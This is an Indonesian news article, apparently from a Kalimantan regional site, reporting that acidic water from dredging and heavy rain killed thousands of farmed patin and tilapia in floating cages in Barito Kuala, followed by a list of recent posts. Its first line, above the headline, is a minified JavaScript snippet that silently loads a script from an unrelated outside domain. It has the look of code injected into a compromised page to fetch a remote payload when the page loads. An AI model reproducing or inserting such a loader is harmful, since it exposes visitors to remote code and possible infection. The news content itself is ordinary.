(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ini Penyebab Matinya Ribuan Ikan Keramba Apung di Batola


MARABAHAN, Dinas Perikanan Kabupaten Barito Kuala (Batola) sebut tingginya curah hujan hingga masuknya air kerukan sungai dari program serasi, merupakan dampak dari naiknya pH air, sehingga berimbas pada matinya ribuan ikan milik pembudidaya keramba jaring apung di Batola.

“Setelah kita lakukan penelusuran adapun dugaan sementara penyebab matinya ikan di keramba ini akibat terkontaminasi air asam yang berasal dari kerukan fungsi program serasi, hingga naiknya air sungai  dari perkebunan kelapa sawit,” jelas Suyud Plt Dinas Perikanan Batola.

Sebelumnya diakui Suyud pihaknya sendiri sudah meminta bantuan kepada balai benih untuk melakukan analisa kondisi air terkini, yang sangat tergantung pada air baku, sehingga curah hujan hujan yang cukup tinggi membuat banyaknya air baru yang terbawa ke sepanjang alur sungai Barito. Perubahan iklim dan habitat dari perikanan mengakibatkan terganggunya perkembangan jenis ikan patin dan nila.

Baca: BREAKING NEWS. Ribuan Ikan Keramba Jaring Apung di Batola Mati Mendadak!

“Untuk saat ini kami mengharapkan kepada pembudidaya untuk menangguhkan budidaya dengan jumlah yang kecil, kita sudah mendapat informasi itu dari balai benih, sehingga ikan yang berada di habitatnya merasa asing stres dan mengalami kematian,” katanya.

Ditanya imbauan kepada para petambak sendiri, Suyud menambahkan, hingga akhir Desember kemarin sudah melakukan uji lab yang mana kondisi air pada saat itu masih normal, namun memprediksi adanya perubahan kadar air di awal Januari hingga beberapa pekan ke depan.

Baca: Kurangi Dampak Kerugian, Petani Keramba Ikan di Batola Panen Lebih Awal

“Semua sudah kita beri peringatan pada ada petambak, pada awal musim penghujan ini, namun beberapa normalisasi pengairan dari program serasi sedikit banyak berpengaruh pada air di tempat kita, namun ini biasanya akan normal kembali nantinya secara alamiah,” pungkasnya. (Eno)

Reporter : Eno
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.